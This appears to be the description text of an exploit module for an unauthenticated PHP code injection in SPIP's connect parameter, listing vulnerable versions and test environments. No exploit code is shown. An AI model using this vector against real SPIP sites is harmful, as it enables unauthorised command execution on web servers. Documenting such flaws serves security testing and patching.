    This module exploits a PHP code injection in SPIP. The vulnerability exists in the
    connect parameter and allows an unauthenticated user to execute arbitrary commands
    with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
    are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
    has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
    and Fedora linux distributions.
